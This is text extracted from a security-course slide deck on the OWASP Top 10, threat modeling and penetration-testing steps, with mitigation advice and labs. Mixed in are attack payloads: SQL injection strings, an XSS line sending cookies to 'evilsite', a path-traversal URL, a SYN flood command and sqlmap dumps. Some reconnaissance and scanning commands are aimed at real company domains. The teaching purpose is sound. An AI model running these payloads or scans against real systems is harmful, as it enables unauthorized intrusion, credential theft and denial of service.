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Attack surface









Data breaches

http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/
http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/
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Common Vulnerability & 
Exposure

https://web.nvd.nist.gov/view/vuln/search?execution=e2s1



https://nvd.nist.gov/vuln/search

https://nvd.nist.gov/vuln/search


Lab - Exploring 
vulnerabilities 

• https://web.nvd.nist.gov/view/vuln/search?
execution=e2s1

https://web.nvd.nist.gov/view/vuln/search?execution=e2s1
https://web.nvd.nist.gov/view/vuln/search?execution=e2s1
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Threat modeling



mitigation techniques



https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Mobile_Threat_Model



https://msdn.microsoft.com/en-us/library/aa561578.aspx



ELEVATION OF PRIVILEGE 
GAME

https://www.microsoft.com/en-us/SDL/adopt/eop.aspx











SPOOFING AGAINST 
APPLICATION









Lab - Threat Modeling

• Download MS threat modeling tool 

• https://www.microsoft.com/en-us/download/
details.aspx?id=49168 

• https://github.com/MicrosoftDocs/azure-docs/blob/
master/articles/security/azure-security-threat-
modeling-tool.md

https://www.microsoft.com/en-us/download/details.aspx?id=49168
https://www.microsoft.com/en-us/download/details.aspx?id=49168
https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/security/azure-security-threat-modeling-tool.md
https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/security/azure-security-threat-modeling-tool.md
https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/security/azure-security-threat-modeling-tool.md


SSL Threat model: Ivan Ristic (Ristić, 2009)



476 attack patterns, organized into 15 groups

https://capec.mitre.org/data/definitions/12.html



threat cube classification 
model

http://scialert.net/fulltext/?doi=jas.2015.953.967&org=11#1353926_ja
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Application 
Security 
Requirements 
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Development Practices 
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non-Library Solutions 

 

Review 
Solutions 

What to do How you should do it What you did Did it work 

Coding Practices 

Coding life cycle
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https://www.securecoding.cert.org/confluence/display/seccode/SEI+CERT+Coding+Standards
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Threat'
Agent'

A+ack'
Vector'

Weakness'Prevalence' Weakness'Detectability' Technical'Impact' Business'Impact'

?'
Easy' Widespread' Easy' Severe'

?'Average' Common' Average' Moderate'

Difficult' Uncommon' Difficult' Minor'

1' 2' 2' 1'

1.66' *' 1'

1.66'weighted'risk'raLng'

InjecLon'Example'

1"
2"
3"

5"





Mobile Top 10 2016



Mobile Top 10 2016



M1: Improper Platform Usage



M2-Insecure Data Storage 







M3-Insecure Communication



Example Attack Scenarios

• Lack of certificate inspection - TLS handshake 

• Weak handshake negotiation
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request
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SQL 
query
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DB Table 
!((
"(

HTTP 
response 

"((
"(

"SELECT * FROM 
accounts WHERE 

acct=‘’ OR 
1=1--’" 

1.#Applica*on#presents#a#form#to#
the#a4acker#
2.#A4acker#sends#an#a4ack#in#the#
form#data#
3.#Applica*on#forwards#a4ack#to#
the#database#in#a#SQL#query#

Account Summary 
 

Acct:5424-6066-2134-4334 
Acct:4128-7574-3921-0192 
Acct:5424-9383-2039-4029 
Acct:4128-0004-1234-0293 

4.#Database#runs#query#containing#
a4ack#and#sends#encrypted#results#
back#to#applica*on#

5.#Applica*on#decrypts#data#as#
normal#and#sends#results#to#the#
user#

Account:((

(((((((SKU:((

Account:((

(((((((SKU:((

9(



SQL Injection
http://demo.testfire.net/bank/login.aspx



Lab SQL Injection
• http://www.ibm.com/developerworks/library/se-

owasp-top10/ 

• Getting other users from search:  

• 1/1/2010 union select userid,null, username+' 
'+password,null from users --

http://www.ibm.com/developerworks/library/se-owasp-top10/
http://www.ibm.com/developerworks/library/se-owasp-top10/


http://demo.testfire.net/bank/

http://demo.testfire.net/bank/


• http://blog.dornea.nu/2013/05/06/hacking-altoro-
mutual/

http://demo.testfire.net/default.aspx?content=../bank/login.aspx.cs%00.txt

http://blog.dornea.nu/2013/05/06/hacking-altoro-mutual/
http://blog.dornea.nu/2013/05/06/hacking-altoro-mutual/


Prevent SQL injection



Prepared Statements (with 
Parameterized Queries)



Hibernate Query Language 
(HQL)



Escaping All User Supplied 
Input



Using ESAPI



SQL Injection

• Avoid&the&interpreter&en-rely,&or&
• Use&an&interface&that&supports&bind&variables&(e.g.,&prepared&
statements,&or&stored&procedures),&
• Bind&variables&allow&the&interpreter&to&dis-nguish&between&code&and&
data&

• Encode&all&user&input&before&passing&it&to&the&interpreter&
• Always&perform&‘white&list’&input&valida-on&on&all&user&supplied&input&
• Always&minimize&database&privileges&to&reduce&the&impact&of&a&flaw&

Recommenda-ons&

• For&more&details,&read&the&
hFps://www.owasp.org/index.php/
SQL_Injec-on_Preven-on_Cheat_Sheet&&

References&

10$



A2 – Broken Authentication 
and Session Management
• Means&creden*als&have&to&go&with&every&request&
•  Should&use&SSL&for&everything&requiring&authen*ca*on&

HTTP&is&a&“stateless”&protocol&

•  SESSION&ID&used&to&track&state&since&HTTP&doesn’t&
•  and&it&is&just&as&good&as&creden*als&to&an&aGacker&

•  SESSION&ID&is&typically&exposed&on&the&network,&in&browser,&in&logs,&…&

Session&management&flaws&

•  Change&my&password,&remember&my&password,&forgot&my&password,&secret&
ques*on,&logout,&email&address,&etc…&

Beware&the&sidePdoors&

•  User&accounts&compromised&or&user&sessions&hijacked&

Typical&Impact&



Broken Authentication
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2'Site'uses'URL'rewri1ng'
(i.e.,'put'session'in'URL)'

3' User'clicks'on'a'link'to'hIp://www.hacker.com'in'
a'forum'

www.boi.com?JSESSIONID=9FA1DB9EA...'

4'
Hacker'checks'referrer'logs'on'www.hacker.com'

and'finds'user’s'JSESSIONID'

5' Hacker'uses'JSESSIONID'and'
takes'over'vic1m’s'account'



Broken authentication and 
session management

Search: <script>alert(document.cookie)</script>



A2 – Avoiding Broken Authentication 
and Session Management

• Authen'ca'on+should+be+simple,+centralized,+and+standardized+

• Use+the+standard+session+id+provided+by+your+container+
• Be+sure+SSL+protects+both+creden'als+and+session+id+at+all+'mes+

Verify+your+architecture+

• Forget+automated+analysis+approaches+

• Check+your+SSL+cer'ficate+
• Examine+all+the+authen'ca'onErelated+func'ons+

• Verify+that+logoff+actually+destroys+the+session+
• Use+OWASP’s+WebScarab+to+test+the+implementa'on+

Verify+the+implementa'on+

• hKps://www.owasp.org/index.php/Authen'ca'on_Cheat_Sheet++

Follow+the+guidance+from+

13$



A3: Cross Site Scripting
Applica'on*with*
stored*XSS*
vulnerability*

3"

2"

A8acker*sets*the*trap*–*update*my*profile*

A8acker*enters*a*
malicious*script*into*a*web*
page*that*stores*the*data*
on*the*server*

1"

Vic'm*views*page*–*sees*a8acker*profile*

Script*silently*sends*a8acker*Vic'm’s*session*cookie*

Script*runs*inside*vic'm’s*
browser*with*full*access*to*
the*DOM*and*cookies*
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Cross-site scripting

This is a great product <script>document.write('<img scr=http://
evilsite/'+document.cookie>');</script>



Avoiding XSS
•  Recommenda)ons+
–  Eliminate+Flaw+

•  Don’t+include+user+supplied+input+in+the+output+page+

–  Defend+Against+the+Flaw+
•  Use+Content+Security+Policy+(CSP)+
•  Primary+Recommenda)on:+Output+encode+all+user+supplied+input+(Use+

OWASP’s+ESAPI+or+Java+Encoders+to+output+encode)+
+ +hHps://www.owasp.org/index.php/ESAPI+
+ +hHps://www.owasp.org/index.php/OWASP_Java_Encoder_Project+

•  Perform+‘white+list’+input+valida)on+on+all+user+input+to+be+included+in+page+
•  For+large+chunks+of+user+supplied+HTML,+use+OWASP’s+An)Samy+to+sani)ze+

this+HTML+to+make+it+safe+
+++++++See:+hHps://www.owasp.org/index.php/An)Samy+

•  References+
–  For+how+to+output+encode+properly,+read+the+

hHps://www.owasp.org/index.php/XSS_(Cross+Site+Scrip)ng)+Preven)on+Cheat+Sheet++ 16#



File inclusion vulnerability
• http://demo.testfire.net/default.aspx?content=../testing.txt

• An Error Has Occurred 

• Summary: 

• Could not find file 'D:downloadsAltoroMutual_v6website  esting.txt'. 

• Error Message: 

• System.IO.FileNotFoundException: Could not find file 'D:downloadsAltoroMutual_v6website esting.txt'. File name: 
'D:downloadsAltoroMutual_v6website  esting.txt' at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath) at 
System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, 
Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy) at 
System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions 
options) at System.IO.StreamReader..ctor(String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, 
Int32 bufferSize) at System.IO.StreamReader..ctor(String path) at System.IO.File.OpenText(String path) at 
Altoro.Default.LoadFile(String myFile) in d:downloadsAltoroMutual_v6websitedefault.aspx.cs:line 42 at 
Altoro.Default.Page_Load(Object sender, EventArgs e) in d:downloadsAltoroMutual_v6websitedefault.aspx.cs:line 70 at 
System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) at 
System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) at 
System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at 
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)

http://demo.testfire.net/default.aspx?content=../testing.txt


CSS Property Values 
(e.g.,&.pdiv&a:hover&{color:&red;&text6decora7on:&

underline}&)&

JavaScript Data 
(e.g.,&<script>&

someFunc7on(‘DATA’)</script>&)&

HTML Attribute Values 
(e.g.,&<input&name='person'&type='TEXT'&

value='defaultValue'>&) 

HTML Element Content 
(e.g.,&<div>&some&text&to&display&</div>&)&

URI Attribute Values 
(e.g.,&<a&href="&hOp://site.com?search=DATA"&) 

#4:&All&non6alphanumeric&<&256&!&\HH&

ESAPI:&encodeForCSS()&

#3:&All&non6alphanumeric&<&256&!&\xHH&

ESAPI:&encodeForJavaScript()&

#1:&&(&&,&<,&>,&"&)&!&&en7ty;&&&(&',&/&)&!&&#xHH;&

ESAPI:&encodeForHTML()&

#2:&All&non6alphanumeric&<&256&!&&#xHH;&

ESAPI:&encodeForHTMLAOribute()&

#5:&All&non6alphanumeric&<&256&!&%HH&

ESAPI:&encodeForURL()&

ALL&other&contexts&CANNOT&include&Untrusted&Data&

Recommenda7on:&Only&allow&#1&and&#2&and&disallow&all&others&
&

See:&&www.owasp.org/index.php/XSS_(Cross_Site_Scrip7ng)_Preven7on_Cheat_Sheet&17#



A4 – Insecure Direct Object 
References

•  A"acker(no+ces(his(acct(
parameter(is(6065(

((((?acct=6065(

•  He(modifies(it(to(a(nearby(
number(

((((?acct=6066(
(
•  A"acker(views(the(

vic+m’s(account(
informa+on(

h"ps://www.onlinebank.com/user?acct=6065(



A4 – Avoiding Insecure 
Direct Object References

•  Eliminate)the)direct)object)reference)
–  Replace)them)with)a)temporary)mapping)value)(e.g.)1,)2,)3))
–  ESAPI)provides)support)for)numeric)&)random)mappings)

•  IntegerAccessReferenceMap)&)RandomAccessReferenceMap)
)

•  Validate)the)direct)object)reference)
–  Verify)the)parameter)value)is)properly)formaHed)
–  Verify)the)user)is)allowed)to)access)the)target)object)

•  Query)constraints)work)great!)
–  Verify)the)requested)mode)of)access)is)allowed)to)the)
target)object)(e.g.,)read,)write,)delete))

hHp://app?file=1)
Report123.xls)

hHp://app?id=7d3J93)
Acct:9182374)hHp://app?id=9182374))

hHp://app?file=Report123.xls)
Access 

Reference 

Map 



A5: Security 
Misconfiguration 
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A6 – Sensitive Data 
Exposure

• Failure(to(iden-fy(all(sensi-ve(data(
• Failure(to(iden-fy(all(the(places(that(this(sensi-ve(data(gets(stored(
•  Databases,(files,(directories,(log(files,(backups,(etc.(

•  Failure(to(iden-fy(all(the(places(that(this(sensi-ve(data(is(sent(
•  On(the(web,(to(backend(databases,(to(business(partners,(internal(
communica-ons(

• Failure(to(properly(protect(this(data(in(every(loca-on(

Storing(and(transmi@ng(sensi-ve(data(insecurely(

• ABackers(access(or(modify(confiden-al(or(private(informa-on(
•  e.g,(credit(cards,(health(care(records,(financial(data((yours(or(your(customers)(

• ABackers(extract(secrets(to(use(in(addi-onal(aBacks(
• Company(embarrassment,(customer(dissa-sfac-on,(and(loss(of(trust(
•  Expense(of(cleaning(up(the(incident,(such(as(forensics,(sending(apology(
leBers,(reissuing(thousands(of(credit(cards,(providing(iden-ty(theH(
insurance(

• Business(gets(sued(and/or(fined(

Typical(Impact(



Insecure Cryptographic 
Storage 
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Vic1m'enters'credit'card'
number'in'form'

2'Error'handler'logs'CC'
details'because'merchant'

gateway'is'unavailable'

4' Malicious'insider'
steals'4'million'credit'
card'numbers'

Log'files'

3'Logs'are'accessible'to'all'
members'of'IT'staff'for'

debugging'purposes'



Security misconfiguration



A7: Missing Function Level 
Access Control 

•  A"acker(no+ces(the(URL(
indicates(his(role(

((((/user/getAccounts(

•  He(modifies(it(to(another(
directory((role)(

((((/admin/getAccounts,(or(
((((/manager/getAccounts(
(
•  A"acker(views(more(

accounts(than(just(their(
own(

https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts



A8 – Cross Site Request 
Forgery (CSRF)

• An#a%ack#where#the#vic/m’s#browser#is#tricked#into#issuing#a#command#to#a#
vulnerable#web#applica/on#

• Vulnerability#is#caused#by#browsers#automa/cally#including#user#
authen/ca/on#data#(session#ID,#IP#address,#Windows#domain#creden/als,#…)#
with#each#request#

Cross#Site#Request#Forgery#

• What#if#a#hacker#could#steer#your#mouse#and#get#you#to#click#on#links#in#your#
online#banking#applica/on?#

• What#could#they#make#you#do?#

Imagine…#

•  Ini/ate#transac/ons#(transfer#funds,#logout#user,#close#account)#
• Access#sensi/ve#data#
• Change#account#details#

Typical#Impact#



CSRF Vulnerability Pattern
The	Problem	

Web	browsers	automa1cally	include	most	creden1als	with	each	request	
Even	for	requests	caused	by	a	form,	script,	or	image	on	another	site 

All	sites	relying	solely	on	automa1c	  
creden1als	are	vulnerable!	
(almost	all	sites	are	this	way)  

Automa1cally	Provided	Creden1als	
Session	cookie	
Basic	authen1ca1on	header	
IP	address	
Client	side	SSL	cer1ficates	
Windows	domain	authen1ca1on
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2"

A%acker"sets"the"trap"on"some"website"on"the"internet"
(or"simply"via"an"e9mail)"1"

While"logged"into"vulnerable"site,"
vicAm"views"a%acker"site"

Vulnerable"site"sees"
legiAmate"request"from"
vicAm"and"performs"the"
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USER AGENT



SEARCH ENGINE 
POISNING



A8 – Avoiding CSRF Flaws
Add	a	secret,	not	automa/cally	submi4ed,	token	to	ALL	sensi/ve	requests	

This	makes	it	impossible	for	the	a4acker	to	spoof	the	request	
(unless	there’s	an	XSS	hole	in	your	applica/on)	

Tokens	should	be	cryptographically	strong	or	random	

Op/ons	
Store	a	single	token	in	the	session	and	add	it	to	all	forms	and	links	

Hidden	Field:	<input name="token" value="687965fdfaew87agrde" type="hidden"/>	
Single	use	URL:	/accounts/687965fdfaew87agrde 

Form	Token:	/accounts?auth=687965fdfaew87agrde	…	
Beware	exposing	the	token	in	a	referer	header	

Hidden	fields	are	recommended	
Can	have	a	unique	token	for	each	func/on	

Use	a	hash	of	func/on	name,	session	id,	and	a	secret	
Can	require	secondary	authen/ca/on	for	sensi/ve	func/ons	(e.g.,	eTrade)	

Don’t	allow	a4ackers	to	store	a4acks	on	your	site	
Properly	encode	all	input	on	the	way	out	
This	renders	all	links/requests	inert	in	most	interpreters	

See	the:		www.owasp.org/index.php/CSRF_Preven/on_Cheat_Sheet		for	more	details



A9 – Using Known 
Vulnerable Components

Output from the Maven Versions Plugin – Automated Analysis of Libraries’ Status 
against Central repository 

Most out of Date! Details Developer Needs 



A10 – Unvalidated Redirects 
and Forwards

3"

2"

A%acker"sends"a%ack"to"vic2m"via"email"or"webpage"

From:"Internal"Revenue"Service"

Subject:"Your"Unclaimed"Tax"Refund"

Our"records"show"you"have"an"

unclaimed"federal"tax"refund."Please"

click"here"to"ini2ate"your"claim."

1"

Request"sent"to"vulnerable"

site,"including"a%acker’s"

des2na2on"site"as"parameter."

Redirect"sends"vic2m"to"

a%acker"site"

Custom"Code"
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"
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"
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e
"
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s
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s
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4"

Vic2m"clicks"link"containing"unvalidated"parameter"

Evil"Site"

h%p://www.irs.gov/taxrefund/claim.jsp?

year=2006&"…"&dest=www.evilsite.com"



EMAIL ROUTE





Unvalidated Forward

2"

A"acker(sends(a"ack(to(vulnerable(page(they(have(access(to(1"

Applica7on(authorizes(
request,(which(con7nues(
to(vulnerable(page(

Request(sent(to(
vulnerable(page(which(
user(does(have(access(to.(
Redirect(sends(user(
directly(to(private(page,(
bypassing(access(control.(

3" Forwarding(page(fails(to(validate(
parameter,(sending(a"acker(to(
unauthorized(page,(bypassing(access(
control( public void doPost( HttpServletRequest request, 

HttpServletResponse response) { 
  try { 
   String target = request.getParameter( "dest" ) ); 

 ... 
 

request.getRequestDispatcher( target ).forward(req
uest, response); 

} 
catch ( ... 
 

"

Filter 

 public void 
sensitiveMethod( HttpServletRequest 
request, HttpServletResponse 
response) { 
  try { 
    // Do sensitive stuff here. 
    ...   

} 
catch ( ... 
 

"



Roadmap

• Ethical Hacking  
• Threat Modeling 
• Static Analysis 

• SEI CERT Coding Standards 
• Dynamic Analysis 

• OWASP Top 10 
• Ethical Hacking Steps

https://tinyurl.com/y9be6ynf

https://tinyurl.com/y9be6ynf


https://pixabay.com/en/storm-severe-weather-warning-warning-2660931/



HACK YOURSELF FIRST!



Phases of hacking



Ethical hacking steps

https://compsecurityconcepts.files.wordpress.com/2015/01/pentest.jpg



Penn testing demo

https://pentest-tools.com/home



Penn Testing





http://www.dnsstuff.com/tools



How to extract public 
Documents? - Metadata

• apt-get install metagoofil 

• metagoofil -d microsoft.com -t doc -o temp -f 
microsoft.html





How to find IP Address 
Owner: whois 

• apt-get install whois 

• whois www.netflix.com

http://www.netflix.com


How to locate new targets: 
DNS Reconnaissance

• fierce -dns www.netflix.com

http://www.netflix.com


Deepmagic Information Gathering Tool 
(Dmitry)

• Perform an Internet Number whois lookup. 

• Retrieve possible uptime data, system and server 
data. 

• Perform a SubDomain search on a target host. 

• Perform an E-Mail address search on a target host. 

• Perform a TCP Portscan on the host target. 

• A Modular program allowing user specified modules



How to find email addresses, 
ports, subdomain search?

• apt-get install dmitry 

• dmitry -winsepfbo netflix.com

http://netflix.com


Info Gathering: Discover 
Scripts

• git clone https://github.com/leebaird/discover.git  

• infosecblog.org

https://github.com/leebaird/discover.git
http://infosecblog.org


Web-based reconnaissance and 
information gathering 

Recon-ng



Recon-ng
• apt-get install recon-ng 

• recon-ng 

• ls 

• workspaces add mywebsite 

• add domains bankofamerica.com 

• load bing_domain_web 

• run 

• show hosts 

• query select * from hosts 

• load hosts-hosts/resolve

http://bankofamerica.com


Gather Contacts Info

• Get Email addresses and Hosts 

• theHarvester  

• apt-get install theharvester



Information gathering

• Web 

• Website visits 

• Google Dorks: Smart search filters 

• Web Tools



Google Hacking Database: 
Google Dorks



Google Dorks









Other Techniques
• Geographical location 

• Parent Company / Acquisition 

• Language & culture 

• Cached Contents 

• Yellow Pages 

• Social Network 

• Visit Client premises



External Penn Testing

• Traceroute  

• nmap -v --traceroute www.infosecblog.org

http://www.infosecblog.org


Live Host discovery (PING)
• ping 

• ping www.infosecblog.org -c 3 

• ping netflix.com -c 3  — issue with timeout due to firewall 

• Hping3 

• hping3 -S netflix.com -p 80 -c 3 

• nmap 

• nmap -T4 -sn netflix.com -v

http://www.infosecblog.org
http://netflix.com


Port scanning



NMap

• nmap -T4 -v -PN -n -sS -top-port 100 —max-
parallelism 10 -oA nmapSYN www.infosecblog.org 

• nmap -T4 -v -PN -n -sA -top-port 100 —max-
parallelism 10 -oA nmapSYN www.infosecblog.org 

• nmap -T5 -PN -v -oA nmapComplete 
www.infosecblog.org

http://www.infosecblog.org
http://www.infosecblog.org
http://www.infosecblog.org


Application Penetration 
Testing

• Reconnaissance  

• Application firewall scanning 

• Load balancing  

• Web crawling 

• Application analysis 

• Scan for any content management 

• SQL Injection, Cross Site Scripting 

• Maintain access 

• Denial Of Service (DOS) attack



Web Application Firewall 
(WAF)

• Attack need to bypass the firewall



Firewall identification: 
wafw00f

• No Firewall 

• wafw00f https://www.ibm.com/ 

• Firewall: 

• wafw00f https://www.netflix.com

https://www.ibm.com/
https://www.netflix.com


Load Balancing test

• lbd www.netflix.com  

• lbd http://www.itsecgames.com/

http://www.netflix.com
http://www.itsecgames.com/


Web Crawling: What do we 
find?

• Admin portals 

• Configuration files 

• Where are backups? 

• Administration code 

• Can find confidential information 

• Source code analysis



Kali Crawlers
• Burp suite 

• Dirbuster 

• OWASP-ZAP 

• Webscarab 

• Vega 

• Webslayer



Exercise
 1. Import hhjwa-2016.1-vbox-amd64.ova appliance into VirtualBox  

 2. Start Wordy Ninja (https://github.com/cjudd/wordyninjablog)  
cd ~/workspaces/wordyninjablog  
git fetch  
git checkout a74b32f ./gradlew run  

 3. Open Iceweasel browser and navigate to http://localhost:8080 or from host 
http://localhost:8081  

 4. Login as admin/admin1234  

 5. Add Post  

https://github.com/cjudd/wordyninjablog


OWASP ZAP



Active Scan





Active scan



Heap dump



Heap lab

• Login with different users 

• admin/admin1234 

• blogger1/blogger1 

• blogger2/blogger2



https://securityheaders.io/



Burp Suite

• Configure Proxy 

• Run Spider 

• Discover Content 

• Run Scanner



Burp Proxy

https://www.tutorialspoint.com/security_testing/images/configure_burp_suite_4.jpg











How to copy Application- 
Fake Site

• apt-get install httrack 

• httrack http://www.google.com/ -O /tmp/google -v 

https://www.httrack.com/



SSL



SSL Scan

• sslscan www.netflix.com

http://www.netflix.com


Heartbleed attack

http://www.vox.com/cards/heartbleed/how-does-the-heartbleed-attack-work



Sensitive info for Jon Smith!



Accessing telnet session
• Weevely 

• File browsing 

• File transering 

• Auditing 

• SQL server 

• Commands on remote systems



DoS



TCP Three-way Handshake



SYN Flood Attack





Distributed SYN Flood 
Attack



DOS attack: hping3 

• hping3 -S --flood -V 192.168.99.id



Data Security lifecycle

�wwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ww



Privacy: KPMG Data life 
cycle







Recap

• Ethical Hacking  
• Threat Modeling 
• Static Analysis 

• SEI CERT Coding Standards 
• Dynamic Analysis 

• OWASP Top 10 
• Ethical Hacking Steps



http://www.cryptus.in/image/hack.jpg





https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Mobile_Threat_Model
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Privacy: KPMG Data life 
cycle





Additional bonus if time 
allows



OpenVAS

• Scanning  

• apt-get install openvas

https://www.kali.org/penetration-testing/openvas-vulnerability-scanning/







https://i.ytimg.com/vi/x9hd-Z1avJY/hqdefault.jpg

https://sourceforge.net/projects/metasploitable/
https://community.rapid7.com/docs/DOC-1875





Database -"metasploit" is empty.You need to change one line in / var / 
www / mutillidae / config.inc - $ dbname = "owasp10"











OWASP ZAP







SQL Injection

• sqlmap -r /root/Burp\ Suite/request.txt --dbs 

• sqlmap -r /root/Burp\ Suite/request.txt -D owasp10 
—tables 

• sqlmap -r /root/Burp\ Suite/request.txt -D owasp10 -
T accounts --dump



SQL Injection using 
SQLMap



Internal Network testing

• nmap -A -v -T4 -oA nmapMetasploitable 
192.168.99.xxx 
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